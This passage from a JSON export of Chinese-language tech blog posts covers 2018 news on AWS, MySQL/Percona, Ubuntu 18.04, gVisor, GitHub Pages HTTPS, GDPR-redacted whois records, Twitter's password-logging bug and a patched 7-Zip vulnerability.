href=\"https://en.wikipedia.org/wiki/Cal_Henderson\">Cal Henderson</a> XD)\r\n\r\n來看看後續會有什麼改變... 第一波應該是帳號系統的轉移？然後再來是 pricing model 的改變？",
    "title": "SmugMug 買下 Flickr"
  },
  {
    "id": "8282",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"http://batteryfreevideo.cs.washington.edu/\">Towards Battery-Free HD Video Streaming</a>」這個，不使用電池僅靠反射產生訊號，可以達到 HD 畫質的 Camera Streaming (在原型機上測試可以跑出 720p/10fps)：\r\n\r\n<blockquote>Finally, we design a proof-of-concept prototype with off-the-shelf hardware components that successfully backscatter 720p HD video at 10 fps up to 16 feet.</blockquote>\r\n\r\n而且畫質比想像中好很多，算是比「可用」的等級還高不少：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/0H9MHixUVko\" frameborder=\"0\"></iframe>\r\n\r\n愈來愈多在研究用 backscatter 拼一些比較複雜的應用...",
    "title": "不吃電池的 HD Camera Streaming..."
  },
  {
    "id": "8286",
    "body": "有點意外的，<a href=\"https://www.percona.com/\">Percona</a> 宣佈提供 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> Support：「<a href=\"https://www.percona.com/blog/2018/04/24/percona-expands-services-offerings-with-postgresql-support/\">Percona Expands Services Offerings with PostgreSQL Support</a>」。看起來是建出熟 PostgreSQL 的團隊來做生意了...\r\n\r\n之後應該會在他們站上開始看到與 PostgreSQL 相關的文章了；另外一方面，對於付錢買 Percona 服務的人來說，可以跟同一個廠商通包所有的服務 (從 <a href=\"https://dev.mysql.com/\">MySQL</a>、<a href=\"https://mariadb.com/\">MariaDB</a>、<a href=\"https://www.percona.com/software/mysql-database/percona-server\">Percona Server</a> 這三個 MySQL 系列的資料庫，到 <a href=\"https://www.mongodb.com/\">MongoDB</a>，然後是昨天推出的 PostgreSQL)：\r\n\r\n<blockquote>As a result, organizations can, for the first time, work with a single trusted vendor to meet their support needs for MySQL, MongoDB, MariaDB, PostgreSQL, or any hybrid combination of these database technologies, whether deployed on-premises, in the cloud, or in a Database as a Service (DBaaS) environment.</blockquote>\r\n\r\n然後也許有機會看到 Percona 客製的 PostgreSQL？",
    "title": "Percona 宣佈提供 PostgreSQL Support..."
  },
  {
    "id": "8287",
    "body": "在看 CPU credit 時發現 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 上有台 <code>t2.micro</code> CPU credit 一直掉，但是上面沒有跑什麼東西，所以先在內部的 <a href=\"https://trac.edgewall.org/\">Trac</a> 上開張 ticket 追蹤... 然後這種事情都是一開 ticket 就馬上想到了 @_@\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ibQhRNZ.webp\" /><img src=\"https://i.gslin.com/imgur/ibQhRNZ.jpg\" alt=\"\" /></picture>\r\n\r\n首先發現這些 CPU credit 是超出 max quota 144 的限制 (參考 <a href=\"https://aws.amazon.com/\">AWS</a> 的文件「<a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/t2-credits-baseline-concepts.html\">CPU Credits and Baseline Performance</a>」)，就馬上想到是因為 <code>t2</code> 系列的機器在開機時會贈送 CPU credit 以避免開機時太慢 (參考文件「<a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/t2-std.html\">T2 Standard</a>」)，而贈送的這塊會優先使用，但不吃 max quota：\r\n\r\n<blockquote>Launch credits are spent first, before earned credits. Unspent launch credits are accrued in the CPU credit balance, but do not count towards the CPU credit balance limit.</blockquote>\r\n\r\n另外系統對每個帳號有限制，每個帳號每 24 小時在每區有 100 次的贈送限制：\r\n\r\n<blockquote>There is a limit to the number of times T2 Standard instances can receive launch credits. The default limit is 100 launches or starts of all T2 Standard instances combined per account, per region, per rolling 24-hour period.</blockquote>\r\n\r\n新帳號可能會更低，隨著使用情況調昇：\r\n\r\n<blockquote>New accounts may have a lower limit, which increases over time based on your usage.</blockquote>\r\n\r\n所以就知道為什麼會緩緩下降了，在到 144 之前都應該是下降的趨勢...",
    "title": "t2 系列機器的 CPU credit 超出 Quota 的現象"
  },
  {
    "id": "8288",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到了 <a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 宣佈了台北的第二個 PoP：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Amazon CloudFront announces 2 new Edge Locations, adding a second location in Taipei &amp; a third location in Singapore. <a href=\"https://t.co/pU5gDbJWBT\">https://t.co/pU5gDbJWBT</a> <a href=\"https://t.co/9U4ZLBSXmk\">pic.twitter.com/9U4ZLBSXmk</a></p>&mdash; Amazon Web Services (@awscloud) <a href=\"https://twitter.com/awscloud/status/989214621105082369?ref_src=twsrc%5Etfw\">April 25, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這個也是喊好久了，從去年就有消息一直到現在... 這樣台灣多了一個 backup，比較不會導去香港或是日本了。不過新 PoP 的代碼找不到，試著找 <code>tsa</code> 與 <code>tpe</code> 以及後面接數字，還是只有找到 <code>tpe50</code>，不知道是不是後來不露出代碼了...",
    "title": "CloudFront 在台北的第二個 PoP"
  },
  {
    "id": "8289",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://www.oracle.com/\">Oracle</a> 計畫在 <a href=\"https://dev.mysql.com/\">MySQL</a> 內包入 <a href=\"https://www.graalvm.org/\">GraalVM</a>：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Wooooow !  Stored programs in  <a href=\"https://twitter.com/MySQL?ref_src=twsrc%5Etfw\">@MySQL</a> in different languages thanks to <a href=\"https://twitter.com/graalvm?ref_src=twsrc%5Etfw\">@graalvm</a> <a href=\"https://twitter.com/hashtag/perconalive?src=hash&amp;ref_src=twsrc%5Etfw\">#perconalive</a> <a href=\"https://t.co/NTDa3vHLyn\">pic.twitter.com/NTDa3vHLyn</a></p>&mdash; lefred (@lefred) <a href=\"https://twitter.com/lefred/status/989205029633511424?ref_src=twsrc%5Etfw\">April 25, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"und\" dir=\"ltr\"><a href=\"https://twitter.com/hashtag/MySQL?src=hash&amp;ref_src=twsrc%5Etfw\">#MySQL</a> MLE [ˈɛmɪlɪ] <a href=\"https://twitter.com/graalvm?ref_src=twsrc%5Etfw\">@graalvm</a> in <a href=\"https://twitter.com/MySQL?ref_src=twsrc%5Etfw\">@MySQL</a> 8.0 <a href=\"https://twitter.com/hashtag/perconalive?src=hash&amp;ref_src=twsrc%5Etfw\">#perconalive</a> <a href=\"https://t.co/PVNrcbJL8q\">pic.twitter.com/PVNrcbJL8q</a></p>&mdash; lefred (@lefred) <a href=\"https://twitter.com/lefred/status/989206468426481665?ref_src=twsrc%5Etfw\">April 25, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這能不能解決 MySQL 的 stored procedure 一直以來都很殘的問題就要多花些時間看看了... 另外 GraalVM 用 <a href=\"https://en.wikipedia.org/wiki/GPLv2\">GPLv2</a>，但沒有明確的專利授權條款也是大家很在意的問題 (參考 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上「<a href=\"https://news.ycombinator.com/item?id=16859559\">GraalVM: Run Programs Faster Anywhere | Hacker News</a>」這邊的討論)，因為大家都很清楚，這家公司只要是沒有授權的東西就不要碰...\r\n\r\n話說 <a href=\"https://www.percona.com/\">Percona</a> 都把 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 包進來吃了，來考慮多用用 PostgreSQL 好了... (把 blog 換掉？)",
    "title": "MySQL 與 GraalVM 的結合..."
  },
  {
    "id": "8291",
    "body": "<a href=\"https://www.ubuntu.com/\">Ubuntu</a> 兩年一度的 LTS 版本在前幾天放出來了，18.04 版的 code name 為 Bionic Beaver，官方有發出一篇介紹文章「<a href=\"https://insights.ubuntu.com/2018/04/27/breeze-through-ubuntu-desktop-18-04-lts-bionic-beaver\">Breeze through Ubuntu Desktop 18.04 LTS Bionic Beaver</a>」，而下載可以在「<a href=\"http://releases.ubuntu.com/18.04/\">Ubuntu 18.04 LTS (Bionic Beaver)</a>」這邊抓。\r\n\r\n因為不少新功能的穩定性沒跟上這次的 LTS (像是想要用 <a href=\"https://en.wikipedia.org/wiki/Wayland_(display_server_protocol)\">Wayland</a> 換掉 <a href=\"https://www.x.org/\">X.org</a>)，所以目前看到的改變沒有想像中的大...\r\n\r\n最主要的改變應該是不再提供 i386 版本，不過 x86-64 (AMD64 &amp; Intel 64) 推出都已經超過十年了，加上要使用超過 4GB RAM 應該都會裝 x86-64 版本 (有人用 <a href=\"https://en.wikipedia.org/wiki/Physical_Address_Extension\">PAE</a> 撐著嗎？)，所以只要不是古董應該都沒問題...\r\n\r\n另外一個則是預設從 <a href=\"https://en.wikipedia.org/wiki/Unity_(user_interface)\">Unity</a> 換成 <a href=\"https://en.wikipedia.org/wiki/GNOME\">GNOME</a> 了，用 Unity 已經算很習慣了，不知道之後換過去會有什麼感想... (到時再寫好了)\r\n\r\n預定等一個版本再來換 (i.e. 18.04.1)，現在不想當白老鼠 XD 不過手上一些 PPA package 要先 porting 過去...",
    "title": "Ubuntu 18.04 推出"
  },
  {
    "id": "8292",
    "body": "在「<a href=\"https://brandur.org/redis-cluster\">Scaling a High-traffic Rate Limiting Stack With Redis Cluster</a>」這邊提到了 <a href=\"https://stripe.com/\">Stripe</a> 將 <a href=\"https://redis.io/\">Redis</a> 單機版轉移到 10 個節點的 cluster 版本，然後錯誤率大幅下降：\r\n\r\n<blockquote>Stripe’s rate limiters are built on top of Redis, and until recently, they ran on a single very hot instance of Redis. The server had followers in place for failover, but at any given time, one node was handling every operation.</blockquote>\r\n\r\n<blockquote>We eventually solved it by migrating to a 10-node Redis Cluster.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GOyQ6Oa.webp\" /><img src=\"https://i.gslin.com/imgur/GOyQ6Oa.jpg\" alt=\"\" /></picture>\r\n\r\n另外也可以看出來，在轉移到 cluster 版本後有不少要注意的，像是因為 sharding 而需要調整平衡性。另外是 cluster 模式下寫入的 confirmation 跟一般預期的不太一樣，不過這對於 rate limit 的應用還好，可以接受某種程度的掉資料...",
    "title": "Stripe 將 Redis 單機版轉到 Cluster 版本上降低了錯誤率"
  },
  {
    "id": "8293",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到這篇，講 <a href=\"https://www.intel.com/\">Intel</a> 推出新的指令集，對 <a href=\"https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\">AES</a> 的加速效果：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\"><a href=\"https://twitter.com/hashtag/ePrint?src=hash&amp;ref_src=twsrc%5Etfw\">#ePrint</a> Making AES great again: the forthcoming vectorized AES instruction: N Drucker, S Gueron <a href=\"https://t.co/kM0u6XHv3e\">https://t.co/kM0u6XHv3e</a></p>&mdash; IACR (@IACR_News) <a href=\"https://twitter.com/IACR_News/status/991292173181161473?ref_src=twsrc%5Etfw\">May 1, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n進去看以後發現是講四月推出的 <a href=\"https://en.wikipedia.org/wiki/Ice_Lake_(microarchitecture)\">Ice Lake</a>，在上面新增的 <code>VPCLMULQDQ</code> 指令對效能的幫助：\r\n\r\n<blockquote>The introduction of the processor instructions AES-NI and VPCLMULQDQ, that are designed for speeding up encryption, and their continual performance improvements through processor generations, has significantly reduced the costs of encryption overheads.</blockquote>\r\n\r\n而他們發表出來的數據說 AES-GCM 的效率直接從 ~23 cycles/byte 降到 0.64 cycles/byte，大約是 35 倍的改進？\r\n\r\n<blockquote>More and more applications and platforms encrypt all of their data and traffic. As an example, we note the world wide proliferation of the use of AES-GCM, with performance dropping down to 0.64 cycles per byte (from ~23 before the instructions), on the latest Intel processors.</blockquote>\r\n\r\n就算不是 AES-GCM，而是其他的 AES 相關演算法，也是三倍以上的改善：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/s3KzcdA.webp\" /><img src=\"https://i.gslin.com/imgur/s3KzcdA.jpg\" alt=\"\" /></picture>\r\n\r\n這效能差異...",
    "title": "Intel 最新的 Ice Lake 系列對 AES 的加速"
  },
  {
    "id": "8294",
    "body": "在「<a href=\"https://blog.josephscott.org/2018/05/01/script-scheduling-in-chrome/\">Script Scheduling in Chrome</a>」這邊看到關於各種 <code>&lt;script&gt;</code> 的時機，主要是以 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 環境為主。作者在文章裡面有提到「<a href=\"https://docs.google.com/document/d/16rHWLu-0abC9WWLhLBFlIRtbSnOFzhKAXsCamsp0oAs/edit\">Scheduling Scripts Intuitively and Performantly</a>」這份文件，並且將最上面的表格取出來，光是這張表就給了不少想法：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/k7WerIs.webp\" /><img src=\"https://i.gslin.com/imgur/k7WerIs.jpg\" alt=\"\" /></picture>\r\n\r\n文件裡面有更多細節可以看，而且有些討論其實是在思考要怎麼修改 spec 讓網站更容易設 script priority...",
    "title": "以 Google Chrome 的情況分析各種 script 的利弊與使用時機"
  },
  {
    "id": "8295",
    "body": "以往在 <a href=\"https://github.com/\">GitHub</a> 上如果要使用 HTTPS 只能使用 <code>*.github.io</code> 網域，現在 GitHub 宣佈透過 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的服務支援了：「<a href=\"https://blog.github.com/2018-05-01-github-pages-custom-domains-https/\">Custom domains on GitHub Pages gain support for HTTPS</a>」：\r\n\r\n<blockquote>We have partnered with the certificate authority Let’s Encrypt on this project. As supporters of Let’s Encrypt’s mission to make the web more secure for everyone, we’ve officially become Silver-level sponsors of the initiative.</blockquote>\r\n\r\n不過目前只支援 <code>CNAME</code> record (標準) 或是 <code>ALIAS</code> record 的方式 (非標準，也稱為 <code>ANAME</code>，有些 DNS provider 有支援，主要用在網域本身 (i.e. root domain) 無法使用 <code>CNAME</code>)。\r\n\r\n如果是使用 <code>A</code> record，則是需要更新 IP 位置：\r\n\r\n<blockquote>If you are using <code>A</code> records, you must update your site’s DNS records with new IP addresses. Please <a href=\"https://help.github.com/articles/setting-up-an-apex-domain/\">see our guide to setting up your custom domain with Pages and update any A records you might have set</a>.</blockquote>\r\n\r\n另外也提供 HTTP 轉 HTTPS 的選項：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/CksB1EV.webp\" /><img src=\"https://i.gslin.com/imgur/CksB1EV.jpg\" alt=\"\" /></picture>\r\n\r\n以前 HTTPS 還得自己弄伺服器處理，現在可以直接往 GitHub 上丟了...\r\n\r\n另外用查出來的 IP 看了一下架構，IP 是 <a href=\"https://www.fastly.com/\">Fastly</a> 的，所以應該是跟 Fastly 合作，但不確定是 Fastly 自己搞定 Let's Encrypt 的憑證，或是 Fastly 提供 Port 80/443 的 TCP Proxy？",
    "title": "GitHub 透過 Let's Encrypt 提供自訂網域的 HTTPS 服務"
  },
  {
    "id": "8296",
    "body": "看到 <a href=\"https://blog.othree.net/\">othree</a> 的「<a href=\"https://blog.othree.net/log/2018/05/02/tfn-domain-transfer-out/\">TFN 域名轉出</a>」這篇，剛好前陣子把 <code>git.tw</code> 也轉到 <a href=\"https://www.gandi.net/\">Gandi</a> 上，也遇到一樣的問題... 以往的經驗是網域註冊商會提供 authorization code，但<a href=\"https://domains.tfn.net.tw/\">台固的系統</a>是讓你自己輸入，懂這點後就好處理了：\r\n\r\n<blockquote>所以結論是，TFN 域名轉出時要輸入的移轉中密碼其實就是給使用者自訂 authorization code，而且還有個蠻短的長度限制 XD</blockquote>\r\n\r\n另外是因為 <a href=\"https://en.wikipedia.org/wiki/General_Data_Protection_Regulation\">GDPR</a> 所以看不到 whois 資料了，像是 othree 提到的 <code>markdown.tw</code>：\r\n\r\n<pre>gslin@GSLIN-HOME [~] [14:32/W2] whois markdown.tw\r\nDomain Name: markdown.tw\r\n   Domain Status: clientTransferProhibited\r\n   Registrant:\r\n      \r\n      Not displayed due to GDPR\r\n      FR\r\n\r\n   Administrative Contact:\r\n      Not displayed due to GDPR\r\n\r\n   Technical Contact:\r\n      Not displayed due to GDPR\r\n\r\n   Record expires on 2020-03-07 (YYYY-MM-DD)\r\n   Record created on 2011-03-07 (YYYY-MM-DD)\r\n\r\n   Domain servers in listed order:\r\n      ns-171-a.gandi.net      \r\n      ns-114-b.gandi.net      \r\n      ns-144-c.gandi.net      \r\n\r\nRegistration Service Provider: GANDI SAS</pre>\r\n\r\n我自己的 <code>git.tw</code> 也是：\r\n\r\n<pre>gslin@GSLIN-HOME [~] [14:34/W2] whois git.tw\r\nDomain Name: git.tw\r\n   Domain Status: clientTransferProhibited\r\n   Registrant:\r\n      \r\n      Not displayed due to GDPR\r\n      FR\r\n\r\n   Administrative Contact:\r\n      Not displayed due to GDPR\r\n\r\n   Technical Contact:\r\n      Not displayed due to GDPR\r\n\r\n   Record expires on 2019-05-23 (YYYY-MM-DD)\r\n   Record created on 2008-05-23 (YYYY-MM-DD)\r\n\r\n   Domain servers in listed order:\r\n      kristin.ns.cloudflare.com      \r\n      paul.ns.cloudflare.com         \r\n\r\nRegistration Service Provider: GANDI SAS</pre>\r\n\r\n這樣就有點麻煩了，以後如果要聯絡的話只剩下 DNS 內的 <a href=\"https://en.wikipedia.org/wiki/SOA_record\">SOA record</a>？",
    "title": "台固的網域名稱轉出到 Gandi，以及 GDPR..."
  },
  {
    "id": "8297",
    "body": "<a href=\"https://www.google.com/\">Google</a> 宣佈了 <code>.app</code> 的網域將開放註冊：「<a href=\"https://blog.google/topics/developers/introducing-app-more-secure-home-apps-web/\">Introducing .app, a more secure home for apps on the web</a>」。\r\n\r\n整個 <code>.app</code> 網域都已經被 Google 設定 HSTS Preload 了：\r\n\r\n<blockquote>A key benefit of the .app domain is that security is built in—for you and your users. The big difference is that HTTPS is required to connect to all .app websites, helping protect against ad malware and tracking injection by ISPs, in addition to safeguarding against spying on open WiFi networks. Because .app will be the first TLD with enforced security made available for general registration, it’s helping move the web to an HTTPS-everywhere future in a big way.</blockquote>\r\n\r\n如果要註冊下來，開發的時候得注意...",
    "title": "Google 開放 .app 註冊，是個 HSTS Preload TLD"
  },
  {
    "id": "8299",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 將本來 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的 <a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-fleet.html\">Spot Fleet</a> 加上了 EC2 Fleet，計算的公式從本來只有 Spot Instace，變成把標準 EC2 Instance 與 RI 的計算全部都納進來：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-fleet-manage-thousands-of-on-demand-and-spot-instances-with-one-request/\">EC2 Fleet – Manage Thousands of On-Demand and Spot Instances with One Request</a>」。\r\n\r\n<blockquote>Today we are extending and generalizing the set-it-and-forget-it model that we pioneered in Spot Fleet with EC2 Fleet, a new building block that gives you the ability to create fleets that are composed of a combination of EC2 On-Demand, Reserved, and Spot Instances with a single API call.</blockquote>\r\n\r\n不過目前有些服務還沒整，主要是跟 auto scaling 有關的部份，這部份應該是一次上一大包：\r\n\r\n<blockquote>We plan to connect EC2 Fleet and EC2 Auto Scaling groups. This will let you create a single fleet that mixed instance types and Spot, Reserved and On-Demand, while also taking advantage of EC2 Auto Scaling features such as health checks and lifecycle hooks. This integration will also bring EC2 Fleet functionality to services such as Amazon ECS, Amazon EKS, and AWS Batch that build on and make use of EC2 Auto Scaling for fleet management.</blockquote>\r\n\r\n整完以後對於要省成本就更簡單了...",
    "title": "AWS 推出 EC2 Fleet：直接混搭標準 EC2、Spot、RI 的計算"
  },
  {
    "id": "8300",
    "body": "<a href=\"https://www.google.com/\">Google</a> 發表了 <a href=\"https://github.com/google/gvisor\">gVisor</a>，針對 <a href=\"https://www.kernel.org/\">Linux</a> 所使用的 container 技術強化安全的部份：「<a href=\"https://cloudplatform.googleblog.com/2018/05/Open-sourcing-gVisor-a-sandboxed-container-runtime.html\">Open-sourcing gVisor, a sandboxed container runtime</a>」。\r\n\r\n依照 Google 的說法，一般 container 的架構是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/j5KJjhR.webp\" /><img src=\"https://i.gslin.com/imgur/j5KJjhR.jpg\" alt=\"\" /></picture>\r\n\r\n而具有強隔離性的 VM 技術則是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/HZQZjrO.webp\" /><img src=\"https://i.gslin.com/imgur/HZQZjrO.jpg\" alt=\"\" /></picture>\r\n\r\n在 VM 的 overhead 偏重，但一般的 container 安全性又不夠。而 gVisor 則是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/k5YIhax.webp\" /><img src=\"https://i.gslin.com/imgur/k5YIhax.jpg\" alt=\"\" /></picture>\r\n\r\n對於目前最常見的 <a href=\"https://www.docker.com/\">Docker</a> 系統上，在安裝 gVisor 後只需要指定 <code>--runtime=runsc</code> 就可以使用 (預設是 <code>--runtime=runc</code>)，像是這樣：\r\n\r\n<pre>$ docker run --runtime=runsc hello-world\r\n$ docker run --runtime=runsc -p 3306:3306 mysql</pre>\r\n\r\n其中 <code>runsc</code> 的意思是「run Sandboxed Container」。\r\n\r\n另外而因為 gVisor 卡在中間，不認識的 syscall 都會被擋下來，所以目前並不是所有的應用程式都可以跑，但開發團隊已經測了不少應用程式可以在上面運作，算是堪用的程度：\r\n\r\n<blockquote>gVisor implements a large part of the Linux system API (200 system calls and counting), but not all. Some system calls and arguments are not currently supported, as are some parts of the /proc and /sys filesystems. As a result, not all applications will run inside gVisor, but many will run just fine, including Node.js, Java 8, MySQL, Jenkins, Apache, Redis, MongoDB, and many more.</blockquote>\r\n\r\n值得一提的是，雖然是處理 syscall，但是是用 <a href=\"https://golang.org/\">Go</a> 開發的，而不是 <a href=\"https://en.wikipedia.org/wiki/C_(programming_language)\">C</a> 或是 <a href=\"https://en.wikipedia.org/wiki/C++\">C++</a>，這點頗特殊的...",
    "title": "Google 推出 gVisor 強化 Container 的安全性"
  },
  {
    "id": "8302",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 發了公告請大家改密碼：「<a href=\"https://blog.twitter.com/official/en_us/topics/company/2018/keeping-your-account-secure.html\">Keeping your account secure</a>」。不只是 Twitter 自家的密碼，如果你有重複使用同一組密碼，也建議一起修改：\r\n\r\n<blockquote>Out of an abundance of caution, we ask that you consider changing your password on all services where you’ve used this password.</blockquote>\r\n\r\n雖然使用 bcrypt，但因為透過 log 記錄下了未加密的密碼，所以就中槍了：\r\n\r\n<blockquote>We mask passwords through a process called hashing using a function known as bcrypt, which replaces the actual password with a random set of numbers and letters that are stored in Twitter’s system. This allows our systems to validate your account credentials without revealing your password. This is an industry standard.  \r\n\r\nDue to a bug, passwords were written to an internal log before completing the hashing process. We found this error ourselves, removed the passwords, and are implementing plans to prevent this bug from happening again.</blockquote>\r\n\r\n這時候就要再推 <a href=\"https://en.wikipedia.org/wiki/Password_manager\">Password manager</a> 這種東西了，在每個站台都使用完全不同的密碼，可以降低這類問題帶來的衝擊...",
    "title": "Twitter 密碼中槍..."
  },
  {
    "id": "8303",
    "body": "雖然 <a href=\"https://github.com/\">GitHub</a> 有提供 license 相關的 API 可以查，但因為準確度不高 (只要稍微改到，GitHub 就無法偵測到正確的 license)，所以有人決定用 machine learning 的方式另外分析：「<a href=\"https://blog.sourced.tech/post/gld/\">Detecting licenses in code with Go and ML</a>」。當然這邊是分析公開的部份：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/MipFvyc.webp\" /><img src=\"https://i.gslin.com/imgur/MipFvyc.jpg\" alt=\"\" /></picture>\r\n\r\n最大包的是 <a href=\"https://en.wikipedia.org/wiki/MIT_License\">MIT License</a>，次之是 <a href=\"https://en.wikipedia.org/wiki/Apache_License\">Apache-2.0</a> (問號那群先不管)，再來是 <a href=\"https://en.wikipedia.org/wiki/GNU_General_Public_License\">GPL</a> 家族的各版本。沒有太特別的意外發生...",
    "title": "GitHub 上的軟體授權分佈"
  },
  {
    "id": "8304",
    "body": "主要是記錄下來，完全不靠 <a href=\"https://www.google.com/\">Google</a> 目前還是有點難度：「<a href=\"https://piware.de/post/2018-05-01-android-degoogle/\">De-Googling my phone</a>」。\r\n\r\n主要是刷機成 <a href=\"https://lineageos.org/\">LineageOS</a> (還是 <a href=\"https://www.android.com/\">Android</a>)，然後上面不裝 <a href=\"https://opengapps.org/\">OpenGApps</a>，而是靠其他軟體來補足... 在英文版維基百科的「<a href=\"https://en.wikipedia.org/wiki/List_of_free_and_open-source_Android_applications\">List of free and open-source Android applications</a>」也有不少資訊可以看。\r\n\r\n另外一個蠻重要的應該是 <a href=\"https://microg.org/\">microG Project</a>，不過在文章裡沒提到...",
    "title": "非 Google 的 Android 手機環境"
  },
  {
    "id": "8305",
    "body": "<a href=\"https://www.7-zip.org/\">7-Zip</a> 被發現安全性問題 (<a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10115\">CVE-2018-10115</a>)：「<a href=\"https://landave.io/2018/05/7-zip-from-uninitialized-memory-to-remote-code-execution/?hn\">7-Zip: From Uninitialized Memory to Remote Code Execution</a>」。而在 2018/04/30 推出的 18.05 修正了這個問題：「<a href=\"https://sourceforge.net/p/sevenzip/discussion/45797/thread/adc65bfa/\">7-Zip 18.05</a>」。\r\n\r\n<blockquote>The vulnerability in RAR unpacking code was fixed (CVE-2018-10115).</blockquote>\r\n\r\n除了修正以外，另外也開了 <a href=\"https://en.wikipedia.org/wiki/Address_space_layout_randomization\">ASLR</a>，對安全性會多一些防禦：\r\n\r\n<blockquote>2018-03-06 - Discovery\r\n2018-03-06 - Report\r\n2018-04-14 - MITRE assigned CVE-2018-10115\r\n2018-04-30 - 7-Zip 18.05 released, fixing CVE-2018-10115 and enabling ASLR on the executables.</blockquote>\r\n\r\n手上有裝 7-Zip 的人要記得更新...",
    "title": "7-Zip 的 RCE 安全性問題"
  },
  {
    "id": "8306",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的 CTO Vadim Tkachenko 在比較 InnoDB 與 MyRocks 時意外發現了 binlog 會影響不少效能穩定性，再加上 <a href=\"https://dev.mysql.com/\">MySQL</a> 8.0 有改變 binlog 相關的預設值，所以他後續花了不少時間測試，寫了兩篇關於 binlog 對於 MySQL 效能的影響：「<a href=\"https://www.percona.com/blog/2018/05/04/how-binary-logs-and-filesystems-affect-mysql-performance/\">How Binary Logs (and Filesystems) Affect MySQL Performance</a>」與「<a href=\"https://www.percona.com/blog/2018/05/04/how-binary-logs-affect-mysql-8-0-performance/\">How Binary Logs Affect MySQL 8.0 Performance</a>」。\r\n\r\n第一篇是想要知道在 <a href=\"https://www.percona.com/software/mysql-database/percona-server\">Percona Server</a> 5.7 上開 binlog 的影響，做出來後可以看到明顯的效能波動 (因為 binlog 導致 flush 時效能暴跌)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0IUwTnd.webp\" /><img src=\"https://i.gslin.com/imgur/0IUwTnd.jpg\" alt=\"\" /></picture>\r\n\r\n而其中的 workaround 就是調整 flush 參數，讓他比較頻繁的小量寫入，而不是突然要寫很多資料。這樣一來對平均效能也許比較差，但對前端應用衝擊會比較小：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/risUAUC.webp\" /><img src=\"https://i.gslin.com/imgur/risUAUC.jpg\" alt=\"\" /></picture>\r\n\r\n在測試可以看到 <code>sync_binlog=1000</code> 是個妥協點。各單位要自己去找出適合的數字：\r\n\r\n<blockquote>The strict setting also comes with noted performance penalties. I will also test sync_binlog=1000 and sync_binlog=10000, which means perform synchronous writes of binary logs every 1000 and 10000 transactions, respectively.</blockquote>\r\n\r\n另外有測試 ext4 與 XFS 是否有影響，就測試的結果看起來 ext4 比 XFS 好一些，但差距有限：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GZKQF7v.webp\" /><img src=\"https://i.gslin.com/imgur/GZKQF7v.jpg\" alt=\"\" /></picture>\r\n\r\n第二篇則是拿 MySQL 8.0 與 Percona Server 5.7 比較，可以發現在 MySQL 8.0 開啟 binlog 時有時會有不少的效能損失：\r\n\r\n<blockquote>It seems that binary logs have quite an effect MySQL 8.0, and we see up to a 30% performance penalty as opposed to the 13% for Percona Server for MySQL 5.7.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Efe5Ok7.webp\" /><img src=\"https://i.gslin.com/imgur/Efe5Ok7.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/49z4mnl.webp\" /><img src=\"https://i.gslin.com/imgur/49z4mnl.jpg\" alt=\"\" /></picture>\r\n\r\n雖是推銷一下自家產品在這塊還不錯 XD",
    "title": "MySQL 的 binlog 對效能的影響"
  },
  {
    "id": "8308",
